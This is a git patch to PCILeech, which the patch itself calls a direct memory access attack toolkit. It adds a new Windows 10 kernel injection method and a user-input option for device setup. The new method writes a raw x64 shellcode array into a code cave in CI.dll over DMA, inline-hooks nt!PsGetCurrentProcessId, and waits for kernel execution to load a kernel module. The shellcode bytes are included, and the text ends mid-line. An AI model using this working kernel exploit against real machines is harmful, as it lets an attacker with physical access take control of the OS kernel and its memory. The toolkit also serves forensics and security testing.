From 3aa9c03dcc678ad89a5be814dcbfbfb1159fca80 Mon Sep 17 00:00:00 2001 From: ufrisk Date: Sat, 5 Sep 2020 23:03:15 +0200 Subject: [PATCH] Version 4.7 --- pcileech/device.c | 46 +++++ pcileech/help.c | 1 + pcileech/kmd.c | 164 +++++++++++++++++- pcileech/pcileech.c | 5 + pcileech/pcileech.h | 1 + pcileech/shellcode.h | 84 +++++++++ pcileech/version.h | 6 +- pcileech_shellcode/info_kmd_core.txt | 8 +- pcileech_shellcode/pcileech_shellcode.vcxproj | 1 + .../pcileech_shellcode.vcxproj.filters | 3 + pcileech_shellcode/wx64_stage23_vmm3.asm | 156 +++++++++++++++++ 11 files changed, 467 insertions(+), 8 deletions(-) create mode 100644 pcileech_shellcode/wx64_stage23_vmm3.asm diff --git a/pcileech/device.c b/pcileech/device.c index dcadadc..4d4cf63 100644 --- a/pcileech/device.c +++ b/pcileech/device.c @@ -100,6 +100,48 @@ fail: return fResult; } +#ifdef _WIN32 +_Success_(return) +BOOL DeviceOpen2_RequestUserInput() +{ + BOOL fResult; + LPSTR szProto; + DWORD i, cbRead = 0; + CHAR szInput[33] = { 0 }; + CHAR szDevice[MAX_PATH] = { 0 }; + HANDLE hStdIn = GetStdHandle(STD_INPUT_HANDLE); + // 1: read input + printf("\n?> "); + fResult = ReadConsoleA(hStdIn, szInput, 32, &cbRead, NULL); + CloseHandle(hStdIn); + for(i = 0; i < _countof(szInput); i++) { + if((szInput[i] == '\r') || (szInput[i] == '\n')) { szInput[i] = 0; } + } + cbRead = (DWORD)strlen(szInput); + if(!cbRead) { return FALSE; } + // 2: clear "userinput" option and update "device" option + ctxMain->cfg.fUserInteract = FALSE; + szProto = strstr(ctxMain->cfg.szDevice, "://"); + snprintf( + szDevice, + MAX_PATH - 1, + "%s%s%sid=%s", + ctxMain->cfg.szDevice, + szProto ? "" : "://", + szProto && szProto[3] ? "," : "", + szInput); + memcpy(ctxMain->cfg.szDevice, szDevice, MAX_PATH); + // 3: try re-initialize with new user input + return DeviceOpen(); +} +#else /* _WIN32 */ +_Success_(return) +BOOL DeviceOpen2_RequestUserInput() +{ + return FALSE; +} +#endif /* _WIN32 */ + _Success_(return) BOOL DeviceOpen2(_In_ LPSTR szDevice, _In_ BOOL fFailSilent) { @@ -122,6 +164,10 @@ BOOL DeviceOpen2(_In_ LPSTR szDevice, _In_ BOOL fFailSilent) if(pLcErrorInfo->cwszUserText) { wprintf(L"MESSAGE FROM MEMORY ACQUISITION DEVICE:\n=======================================\n%s\n", pLcErrorInfo->wszUserText); } + if(ctxMain->cfg.fUserInteract && pLcErrorInfo->fUserInputRequest) { + LcMemFree(pLcErrorInfo); + return DeviceOpen2_RequestUserInput(); + } } ZeroMemory(&ctxMain->dev, sizeof(ctxMain->dev)); LcMemFree(pLcErrorInfo); diff --git a/pcileech/help.c b/pcileech/help.c index 44a159b..ed79a99 100644 --- a/pcileech/help.c +++ b/pcileech/help.c @@ -132,6 +132,7 @@ VOID Help_ShowGeneral() " kernel module to use, see list below for choices: \n" \ " WIN10_X64 \n" \ " WIN10_X64_2 (Requires: FPGA & Windows) \n" \ + " WIN10_X64_3 (Requires: FPGA & Windows) \n" \ " LINUX_X64_46 (NB! Kernels 2.6.33 - 4.6) \n" \ " LINUX_X64_48 (NB! Kernels 4.8+, FPGA only) \n" \ " LINUX_X64_EFI (NB! UEFI booted systems only) \n" \ diff --git a/pcileech/kmd.c b/pcileech/kmd.c index ef7438b..7abb93d 100644 --- a/pcileech/kmd.c +++ b/pcileech/kmd.c @@ -763,6 +763,8 @@ BOOL KMDOpen_UEFI(_In_ BYTE bOffsetHookBootServices) return KMD_SetupStage3((DWORD)qwAddrKMDDATA, pb + 0x1000, 0x1000); } +#ifdef WIN32 + /* * Load a kernel module (KMD) into a Windows 10 system on which not both of * Vt-d and Virtualization Based Security is enabled. This technique relies @@ -775,9 +777,8 @@ BOOL KMDOpen_UEFI(_In_ BYTE bOffsetHookBootServices) * for thread creation via PsCreateSystemThread. * It also patches function pointer table in HAL heap to gain initial execution. */ -#ifdef WIN32 _Success_(return) -BOOL KMDOpen_WINX64_VMM() +BOOL KMDOpen_WINX64_2_VMM() { BOOL result = FALSE; BYTE pbPage[0x1000]; @@ -954,13 +955,166 @@ fail: Vmmx_Close(); return result; } + +/* +* Load a kernel module (KMD) into a Windows 10 system on which not both of +* Vt-d and Virtualization Based Security is enabled. This technique relies +* on analysis by MemProcFS (vmm.dll) which currently only is a Windows module. +* as a result the initial attack may currently only take place from Windows +* attackers. +* The technique puts the executable shellcode inside a code cave inside CI.dll. +* Initial code execution is gained by placing an inline hook in nt!PsGetCurrentProcessId +*/ +_Success_(return) +BOOL KMDOpen_WINX64_3_VMM() +{ + BOOL f, fResult = FALSE; + QWORD vaHook, vaCI, vaDataPre = 0, vaExec = 0; + DWORD i, cSections, dwHookJMP, paKMD = 0, cbShellcode = 0; + BYTE pbShellcode[0xc00], pbHookOriginalData[0x14], pbHook[13] = { 0 }, pbZero20[0x20] = { 0 }; + PIMAGE_SECTION_HEADER pSections = NULL; + // ------------------------------------------------------------------------ + // 1: Initialize MemProcFS/vmm.dll + // ------------------------------------------------------------------------ + if(!Vmmx_Initialize(FALSE, FALSE)) { + printf("KMD: Failed initializing required MemProcFS/vmm.dll #1\n"); + return FALSE; + } + // ------------------------------------------------------------------------ + // 2: Load Signature. + // ------------------------------------------------------------------------ + if(!Util_ParseHexFileBuiltin("DEFAULT_WINX64_STAGE23_VMM3", pbShellcode, sizeof(pbShellcode), &cbShellcode)) { goto fail; } + // ------------------------------------------------------------------------ + // 3: Locate locations where to insert + // code: (CI.dll 'INIT' section) + // data: (CI.dll '.data' section) + // hook: (nt!PsGetCurrentProcessId) + // ------------------------------------------------------------------------ + f = (vaCI = VMMDLL_ProcessGetModuleBase(4, L"CI.dll")) && + VMMDLL_ProcessGetSections(4, L"CI.dll", NULL, 0, &cSections) && + cSections && + (pSections = LocalAlloc(LMEM_ZEROINIT, cSections * sizeof(IMAGE_SECTION_HEADER))) && + VMMDLL_ProcessGetSections(4, L"CI.dll", pSections, cSections, &cSections); + for(i = 0; f && (i < cSections); i++) { + if(!strcmp("INIT", pSections[i].Name)) { + vaExec = vaCI + pSections[i].VirtualAddress + 0x400; + } + if(!strcmp(".data", pSections[i].Name)) { + vaDataPre = ((vaCI + pSections[i].VirtualAddress + pSections[i].Misc.VirtualSize + 0xfff) & ~0xfff) - 0x20; + } + } + if(!f || !vaExec || !vaDataPre) { + printf("KMD: Failed get code cave (CI.dll) #2\n"); + goto fail; + } + f = (vaHook = VMMDLL_ProcessGetProcAddress(4, L"ntoskrnl.exe", "PsGetCurrentProcessId")) && + VMMDLL_MemRead(4, vaHook, pbHookOriginalData, sizeof(pbHookOriginalData)); + if(!f) { + printf("KMD: Failed get hook (ntoskrnl.exe) #3\n"); + goto fail; + } + if((pbHookOriginalData[0x00] == 0xE9)) { + printf("KMD: Hook already inserted #4\n"); + goto fail_hookrestore; + } + // ------------------------------------------------------------------------ + // 4: Prepare and Inject! + // ------------------------------------------------------------------------ + f = (*(PQWORD)(pbShellcode + 0x020) = VMMDLL_ProcessGetProcAddress(4, L"ntoskrnl.exe", "KeGetCurrentIrql")) && + (*(PQWORD)(pbShellcode + 0x028) = VMMDLL_ProcessGetProcAddress(4, L"ntoskrnl.exe", "PsCreateSystemThread")) && + (*(PQWORD)(pbShellcode + 0x030) = VMMDLL_ProcessGetProcAddress(4, L"ntoskrnl.exe", "ZwClose")) && + (*(PQWORD)(pbShellcode + 0x038) = VMMDLL_ProcessGetProcAddress(4, L"ntoskrnl.exe", "MmAllocateContiguousMemory")) && + (*(PQWORD)(pbShellcode + 0x040) = VMMDLL_ProcessGetProcAddress(4, L"ntoskrnl.exe", "MmGetPhysicalAddress")) && + (*(PQWORD)(pbShellcode + 0x048) = VMMDLL_ProcessGetModuleBase(4, L"ntoskrnl.exe")); + if(!f) { + printf("KMD: Failed get functions (ntoskrnl.exe) #5\n"); + goto fail; + } + *(PQWORD)(pbShellcode + 0x018) = vaDataPre; + memcpy(pbShellcode + 0x004, pbHookOriginalData, sizeof(pbHookOriginalData)); + if(!VMMDLL_MemWrite(4, vaExec, pbShellcode, cbShellcode)) { + printf("KMD: Failed MemWrite (CI.dll) #6\n"); + goto fail; + } + if((vaHook - vaExec > 0x7fff0000) && (vaExec - vaHook > 0x7fff0000)) { + // ABSOLUTE JMP [MOV r10, addr + JMP r10] + pbHook[0] = 0x49; + pbHook[1] = 0xBA; + *(PQWORD)(pbHook + 2) = vaExec; + pbHook[10] = 0x41; + pbHook[11] = 0xFF; + pbHook[12] = 0xE2; + } else { + // RELATIVE JMP + pbHook[0] = 0xE9; // JMP + *(PDWORD)(pbHook + 1) = (dwHookJMP = (DWORD)(vaExec - (vaHook + 5ULL))); + } + if(!VMMDLL_MemWrite(4, vaHook, pbHook, sizeof(pbHook))) { + printf("KMD: Failed MemWrite (ntoskrnl.exe) #7\n"); + goto fail; + } + // ------------------------------------------------------------------------ + // 5: Wait for execution. + // ------------------------------------------------------------------------ + printf("KMD: Code inserted into the kernel - Waiting to receive execution.\n"); + do { + Sleep(100); + if(!VMMDLL_MemReadEx(4, vaDataPre + 0x1c, (PBYTE)&paKMD, sizeof(DWORD), NULL, VMMDLL_FLAG_NOCACHE)) { + printf("KMD: Failed. DMA Read failed while waiting to receive physical address.\n"); + goto fail_hookrestore; + } + } while(paKMD == 0); + printf("KMD: Execution received - continuing ...\n"); + //------------------------------------------------ + // 6: Set up reference to KMD. + //------------------------------------------------ + if(ctxMain->cfg.fVerbose) { + printf("INFO: PA KMD BASE: 0x%08x\n", (DWORD)paKMD); + } + ctxMain->phKMD = (PKMDHANDLE)LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE)); + if(!ctxMain->phKMD) { goto fail; } + ctxMain->phKMD->pk = (PKMDDATA)ctxMain->phKMD->pbPageData; + ctxMain->pk = ctxMain->phKMD->pk; + ctxMain->phKMD->dwPageAddr32 = (DWORD)paKMD; + LcRead(ctxMain->hLC, ctxMain->phKMD->dwPageAddr32, 4096, ctxMain->phKMD->pbPageData); + //------------------------------------------------ + // 7: Retrieve physical memory range map and complete open action. + //------------------------------------------------ + if(!KMD_GetPhysicalMemoryMap()) { + printf("KMD: Failed. Failed to retrieve physical memory map.\n"); + printf(" KMD _may_ still be located at: 0x%08x\n", (DWORD)paKMD); + KMDClose(); + goto fail_hookrestore; + } + ctxMain->cfg.qwKMD = ctxMain->phKMD->dwPageAddr32; + if(ctxMain->pk->MAGIC != KMDDATA_MAGIC) { + ctxMain->pk->MAGIC = KMDDATA_MAGIC; + LcWrite(ctxMain->hLC, ctxMain->phKMD->dwPageAddr32, sizeof(QWORD), ctxMain->phKMD->pbPageData); + } + fResult = TRUE; +fail_hookrestore: + VMMDLL_MemWrite(4, vaHook, pbHookOriginalData, sizeof(pbHookOriginalData)); + VMMDLL_MemWrite(4, vaDataPre, pbZero20, sizeof(pbZero20)); +fail: + LocalFree(pSections); + Vmmx_Close(); + return fResult; +} + #endif /* WIN32 */ #ifdef LINUX -BOOL KMDOpen_WINX64_VMM() + +BOOL KMDOpen_WINX64_2_VMM() { printf("KMD: Failed. Not supported on Linux.\n"); return FALSE; } +BOOL KMDOpen_WINX64_3_VMM() +{ + printf("KMD: Failed. Not supported on Linux.\n"); + return FALSE; +} + #endif /* LINUX */ // https://blog.coresecurity.com/2016/08/25/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-3-windows-hals-heap/ @@ -1562,7 +1716,9 @@ BOOL KMDOpen() } else if(0 == _stricmp(ctxMain->cfg.szKMDName, "WIN10_X64")) { return KMDOpen_HalHijack(); } else if(0 == _stricmp(ctxMain->cfg.szKMDName, "WIN10_X64_2")) { - return KMDOpen_WINX64_VMM(); + return KMDOpen_WINX64_2_VMM(); + } else if(0 == _stricmp(ctxMain->cfg.szKMDName, "WIN10_X64_3")) { + return KMDOpen_WINX64_3_VMM(); } else if(0 == _stricmp(ctxMain->cfg.szKMDName, "LINUX_X64_EFI")) { return KMDOpen_LinuxEfiRuntimeServicesHijack(); } else if(0 == _stricmp(ctxMain->cfg.szKMDName, "UEFI_EXIT_BOOT_SERVICES")) { diff --git a/pcileech/pcileech.c b/pcileech/pcileech.c index 132d322..b84ae20 100644 --- a/pcileech/pcileech.c +++ b/pcileech/pcileech.c @@ -63,6 +63,7 @@ BOOL PCILeechConfigIntialize(_In_ DWORD argc, _In_ char* argv[]) ctxMain->cfg.tpAction = NA; ctxMain->cfg.qwAddrMax = 0; ctxMain->cfg.fOutFile = TRUE; + ctxMain->cfg.fUserInteract = TRUE; // fetch command line actions/options loop: while(i < argc) { @@ -130,6 +131,10 @@ BOOL PCILeechConfigIntialize(_In_ DWORD argc, _In_ char* argv[]) ctxMain->cfg.fLoop = TRUE; i++; continue; + } else if(0 == strcmp(argv[i], "-nouserinteract")) { + ctxMain->cfg.fUserInteract = FALSE; + i++; + continue; } else if(i + 1 >= argc) { return FALSE; } else if(0 == strcmp(argv[i], "-min")) { diff --git a/pcileech/pcileech.h b/pcileech/pcileech.h index 3c15f4b..c6a10d6 100644 --- a/pcileech/pcileech.h +++ b/pcileech/pcileech.h @@ -99,6 +99,7 @@ typedef struct tdConfig { BOOL fPartialPageReadSupported; BOOL fAddrKMDSetByArgument; BOOL fLoop; + BOOL fUserInteract; } CONFIG, *PCONFIG; #define SIGNATURE_CHUNK_TP_OFFSET_FIXED 0 diff --git a/pcileech/shellcode.h b/pcileech/shellcode.h index a667d19..82f9a65 100644 --- a/pcileech/shellcode.h +++ b/pcileech/shellcode.h @@ -270,6 +270,89 @@ const BYTE WINX64_STAGE23_VMM[] = { 0x8b, 0x7c, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5e, 0xc3 }; +const BYTE WINX64_STAGE23_VMM3[] = { + 0xeb, 0x4e, 0x00, 0x00, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, + 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, + 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, + 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, + 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, + 0x51, 0x52, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 0x53, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, + 0x41, 0x57, 0x57, 0x56, 0x53, 0x55, 0x48, 0x83, 0xec, 0x20, 0xff, 0x15, 0xb0, 0xff, 0xff, 0xff, + 0x48, 0x85, 0xc0, 0x75, 0x5c, 0xb0, 0x00, 0xb2, 0x01, 0x48, 0x8b, 0x0d, 0x98, 0xff, 0xff, 0xff, + 0xf0, 0x0f, 0xb0, 0x11, 0x75, 0x4b, 0x41, 0x54, 0x48, 0x8d, 0x05, 0x61, 0x00, 0x00, 0x00, 0x50, + 0x6a, 0x00, 0x48, 0x83, 0xec, 0x20, 0x4d, 0x33, 0xc9, 0x4d, 0x33, 0xc0, 0x48, 0xc7, 0xc2, 0xff, + 0xff, 0x1f, 0x00, 0x48, 0x8b, 0x0d, 0x6e, 0xff, 0xff, 0xff, 0x48, 0x83, 0xc1, 0x08, 0xff, 0x15, + 0x74, 0xff, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x38, 0x48, 0x83, 0xec, 0x38, 0x48, 0x8b, 0x0d, 0x55, + 0xff, 0xff, 0xff, 0x48, 0x8b, 0x49, 0x08, 0xff, 0x15, 0x63, 0xff, 0xff, 0xff, 0x48, 0x83, 0xc4, + 0x38, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0x5b, 0x5e, 0x5f, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, + 0x5c, 0x41, 0x5b, 0x41, 0x5a, 0x41, 0x59, 0x41, 0x58, 0x5a, 0x59, 0xe9, 0x14, 0xff, 0xff, 0xff, + 0x55, 0x48, 0x8b, 0xec, 0x48, 0x83, 0xec, 0x20, 0x48, 0xc7, 0xc1, 0x00, 0x10, 0x00, 0x00, 0x48, + 0xc7, 0xc2, 0xff, 0xff, 0xff, 0x7f, 0xff, 0x15, 0x2c, 0xff, 0xff, 0xff, 0x4c, 0x8b, 0xe8, 0x48, + 0x33, 0xc0, 0xb9, 0x00, 0x02, 0x00, 0x00, 0xff, 0xc9, 0x49, 0x89, 0x44, 0xcd, 0x00, 0x75, 0xf7, + 0x49, 0x8b, 0xcd, 0xff, 0x15, 0x17, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x0d, 0xe8, 0xfe, 0xff, 0xff, + 0x89, 0x41, 0x1c, 0x48, 0x8b, 0x05, 0x0e, 0xff, 0xff, 0xff, 0x49, 0x89, 0x45, 0x08, 0x49, 0x8b, + 0xcd, 0xe8, 0xa6, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x28, 0x48, 0x33, 0xc0, 0xc3, 0xcc, 0xcc, + 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, + 0x89, 0x78, 0x20, 0x48, 0x63, 0x41, 0x3c, 0x8b, 0xea, 0x33, 0xd2, 0x44, 0x8b, 0x84, 0x08, 0x88, + 0x00, 0x00, 0x00, 0x4c, 0x03, 0xc1, 0x45, 0x8b, 0x48, 0x20, 0x41, 0x8b, 0x78, 0x24, 0x4c, 0x03, + 0xc9, 0x41, 0x8b, 0x58, 0x1c, 0x48, 0x03, 0xf9, 0x41, 0x8b, 0x70, 0x18, 0x48, 0x03, 0xd9, 0x85, + 0xf6, 0x74, 0x2e, 0x45, 0x8b, 0x11, 0x4c, 0x03, 0xd1, 0x45, 0x33, 0xdb, 0xeb, 0x0d, 0x49, 0xff, + 0xc2, 0x41, 0xc1, 0xcb, 0x0d, 0x0f, 0xb6, 0xc0, 0x44, 0x03, 0xd8, 0x41, 0x8a, 0x02, 0x84, 0xc0, + 0x75, 0xec, 0x44, 0x3b, 0xdd, 0x74, 0x21, 0xff, 0xc2, 0x49, 0x83, 0xc1, 0x04, 0x3b, 0xd6, 0x72, + 0xd2, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x08, 0x48, 0x8b, 0x6c, 0x24, 0x10, 0x48, 0x8b, 0x74, + 0x24, 0x18, 0x48, 0x8b, 0x7c, 0x24, 0x20, 0xc3, 0x0f, 0xb7, 0x14, 0x57, 0x41, 0x3b, 0x50, 0x14, + 0x73, 0xdf, 0x8b, 0x04, 0x93, 0x48, 0x03, 0xc1, 0xeb, 0xd9, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, + 0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48, 0x89, 0x78, 0x18, 0x4c, 0x89, 0x70, 0x20, 0x55, + 0x48, 0x8d, 0x68, 0xa1, 0x48, 0x81, 0xec, 0xa0, 0x00, 0x00, 0x00, 0x48, 0xb8, 0x77, 0x33, 0x33, + 0x11, 0x77, 0x33, 0x11, 0xff, 0x48, 0xc7, 0x41, 0x50, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0x01, + 0x48, 0x8d, 0x75, 0x03, 0x48, 0x8b, 0xd9, 0xc7, 0x45, 0xd7, 0x1f, 0x9d, 0x48, 0x9d, 0xc7, 0x45, + 0xdb, 0x92, 0xf5, 0x45, 0x13, 0x4c, 0x8d, 0xb1, 0x58, 0x03, 0x00, 0x00, 0xc7, 0x45, 0xdf, 0xbc, + 0x1e, 0x36, 0x9f, 0xbf, 0x0b, 0x00, 0x00, 0x00, 0xc7, 0x45, 0xe3, 0x57, 0x63, 0x32, 0x5a, 0xc7, + 0x45, 0xe7, 0x6f, 0xa5, 0x77, 0x49, 0xc7, 0x45, 0xeb, 0xf9, 0xbe, 0xdd, 0x05, 0xc7, 0x45, 0xef, + 0xc9, 0xc5, 0x6e, 0x6c, 0xc7, 0x45, 0xf3, 0x02, 0x6b, 0xa0, 0x94, 0xc7, 0x45, 0xf7, 0x9b, 0x97, + 0x64, 0xcf, 0xc7, 0x45, 0xfb, 0x89, 0x4d, 0x3f, 0xbc, 0xc7, 0x45, 0xff, 0x92, 0x6d, 0x58, 0x58, + 0x48, 0x8b, 0x4b, 0x08, 0x48, 0x8d, 0x76, 0xfc, 0x8b, 0x16, 0x4d, 0x8d, 0x76, 0xf8, 0xe8, 0xbd, + 0xfe, 0xff, 0xff, 0x49, 0x89, 0x06, 0x83, 0xc7, 0xff, 0x75, 0xe5, 0x48, 0x8b, 0xcb, 0x4c, 0x8d, + 0x9c, 0x24, 0xa0, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x73, 0x18, 0x49, 0x8b, + 0x7b, 0x20, 0x4d, 0x8b, 0x73, 0x28, 0x49, 0x8b, 0xe3, 0x5d, 0xe9, 0x01, 0x00, 0x00, 0x00, 0xcc, + 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, + 0x56, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0xc7, 0x40, 0x08, 0xf0, 0xd8, 0xff, 0xff, + 0xb9, 0x00, 0x00, 0x00, 0x01, 0x41, 0xbe, 0xff, 0xff, 0xff, 0xff, 0x41, 0x8b, 0xd6, 0x33, 0xf6, + 0x48, 0x89, 0x4b, 0x18, 0xff, 0x93, 0x10, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, + 0x75, 0x2c, 0xb9, 0x00, 0x00, 0x40, 0x00, 0x41, 0x8b, 0xd6, 0x48, 0x89, 0x4b, 0x18, 0xff, 0x93, + 0x10, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x75, 0x12, 0x48, 0x21, 0x73, 0x18, + 0xb8, 0x01, 0x00, 0x00, 0xf0, 0x48, 0x89, 0x43, 0x30, 0xe9, 0xb7, 0x01, 0x00, 0x00, 0x48, 0x8b, + 0xcf, 0x48, 0x89, 0x7b, 0x28, 0xff, 0x93, 0x18, 0x03, 0x00, 0x00, 0x48, 0x89, 0x43, 0x20, 0x41, + 0xbe, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x30, + 0x48, 0x85, 0xc0, 0x75, 0x23, 0x49, 0x03, 0xf6, 0x48, 0xb8, 0x00, 0xe4, 0x0b, 0x54, 0x02, 0x00, + 0x00, 0x00, 0x48, 0x3b, 0xf0, 0x76, 0xde, 0x4c, 0x8d, 0x44, 0x24, 0x30, 0x33, 0xd2, 0x33, 0xc9, + 0xff, 0x93, 0x50, 0x03, 0x00, 0x00, 0xeb, 0xcd, 0x48, 0xc7, 0x43, 0x30, 0x02, 0x00, 0x00, 0x00, + 0x48, 0x83, 0xf8, 0x03, 0x0f, 0x84, 0x2f, 0x01, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x04, 0x75, 0x4e, + 0xff, 0x93, 0x20, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x75, 0x06, 0x48, 0x21, + 0x43, 0x38, 0xeb, 0x3a, 0x45, 0x33, 0xc0, 0x48, 0x83, 0x38, 0x00, 0x75, 0x07, 0x48, 0x83, 0x78, + 0x08, 0x00, 0x74, 0x09, 0x4d, 0x03, 0xc6, 0x48, 0x83, 0xc0, 0x10, 0xeb, 0xea, 0x49, 0xc1, 0xe0, + 0x04, 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0xcf, 0x4c, 0x89, 0x43, 0x48, 0xff, 0x93, 0x40, 0x03, 0x00, + 0x00, 0x48, 0x8b, 0xce, 0xff, 0x93, 0x00, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x8b, + 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x05, 0x75, 0x1e, 0x4c, 0x8d, 0x83, 0x20, 0x02, + 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x93, 0x20, 0x01, 0x00, 0x00, 0xff, 0xd7, 0x48, 0x8b, + 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0xff, 0xc8, 0x49, 0x3b, 0xc6, 0x77, + 0x55, 0x48, 0x8b, 0x53, 0x48, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0x4b, 0x40, 0xff, 0x93, 0x28, 0x03, + 0x00, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x74, 0x37, 0x48, 0x8b, 0x83, 0x40, 0x03, 0x00, + 0x00, 0x4c, 0x8b, 0x43, 0x48, 0x4c, 0x39, 0xb3, 0xf8, 0x0f, 0x00, 0x00, 0x75, 0x08, 0x48, 0x8b, + 0xd6, 0x48, 0x8b, 0xcf, 0xeb, 0x06, 0x48, 0x8b, 0xd7, 0x48, 0x8b, 0xce, 0xff, 0xd0, 0x48, 0x8b, + 0x53, 0x48, 0x48, 0x8b, 0xce, 0xff, 0x93, 0x30, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0xeb, + 0x05, 0x48, 0x83, 0x63, 0x38, 0x00, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x48, 0x83, 0xf8, + 0x06, 0x75, 0x1c, 0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8b, 0xcf, 0x48, 0x8b, 0x53, 0x40, 0xff, 0x93, + 0x40, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, + 0x83, 0xf8, 0x07, 0x75, 0x15, 0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8b, 0xd7, 0x48, 0x8b, 0x4b, 0x40, + 0xff, 0x93, 0x40, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, + 0x00, 0x00, 0x33, 0xf6, 0xe9, 0x8c, 0xfe, 0xff, 0xff, 0xb8, 0x00, 0x00, 0x00, 0xf0, 0x48, 0x8b, + 0xcf, 0x48, 0x89, 0x43, 0x30, 0xff, 0x93, 0x08, 0x03, 0x00, 0x00, 0x48, 0x83, 0x63, 0x20, 0x00, + 0x48, 0x83, 0x63, 0x28, 0x00, 0x48, 0x83, 0x23, 0x00, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00, + 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x8b, 0x5c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, + 0x8b, 0x7c, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5e, 0xc3 +}; + const BYTE WINX64_UMD_EXEC[] = { 0x51, 0x52, 0x41, 0x50, 0x41, 0x51, 0xeb, 0x10, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x50, 0xb0, 0x00, 0xb2, 0x01, 0x48, 0x8b, 0x0d, @@ -1745,6 +1828,7 @@ const SHELLCODE_DEFAULT_STRUCT SHELLCODE_DEFAULT[] = { {.sz = "DEFAULT_WINX64_STAGE3",.pb = (PBYTE)WINX64_STAGE3_BIN,.cb = sizeof(WINX64_STAGE3_BIN)}, {.sz = "DEFAULT_WINX64_STAGE2_HAL",.pb = (PBYTE)WINX64_STAGE2_HAL_BIN,.cb = sizeof(WINX64_STAGE2_HAL_BIN)}, {.sz = "DEFAULT_WINX64_STAGE23_VMM",.pb = (PBYTE)WINX64_STAGE23_VMM,.cb = sizeof(WINX64_STAGE23_VMM) }, + {.sz = "DEFAULT_WINX64_STAGE23_VMM3",.pb = (PBYTE)WINX64_STAGE23_VMM3,.cb = sizeof(WINX64_STAGE23_VMM3) }, {.sz = "DEFAULT_WINX64_VFS_KSH",.pb = (PBYTE)WINX64_VFS_KSH,.cb = sizeof(WINX64_VFS_KSH)}, {.sz = "DEFAULT_WINX64_UMD_EXEC",.pb = (PBYTE)WINX64_UMD_EXEC,.cb = sizeof(WINX64_UMD_EXEC)}, {.sz = "DEFAULT_LINUX_X64_STAGE1",.pb = (PBYTE)LINUX_X64_STAGE1_BIN,.cb = sizeof(LINUX_X64_STAGE1_BIN)}, diff --git a/pcileech/version.h b/pcileech/version.h index 179a97b..cac2787 100644 --- a/pcileech/version.h +++ b/pcileech/version.h @@ -2,9 +2,9 @@ #define STRINGIZE(s) STRINGIZE2(s) #define VERSION_MAJOR 4 -#define VERSION_MINOR 6 -#define VERSION_REVISION 3 -#define VERSION_BUILD 13 +#define VERSION_MINOR 7 +#define VERSION_REVISION 0 +#define VERSION_BUILD 14 #define VER_FILE_DESCRIPTION_STR "The PCILeech Direct Memory Access Attack Toolkit" #define VER_FILE_VERSION VERSION_MAJOR, VERSION_MINOR, VERSION_REVISION, VERSION_BUILD diff --git 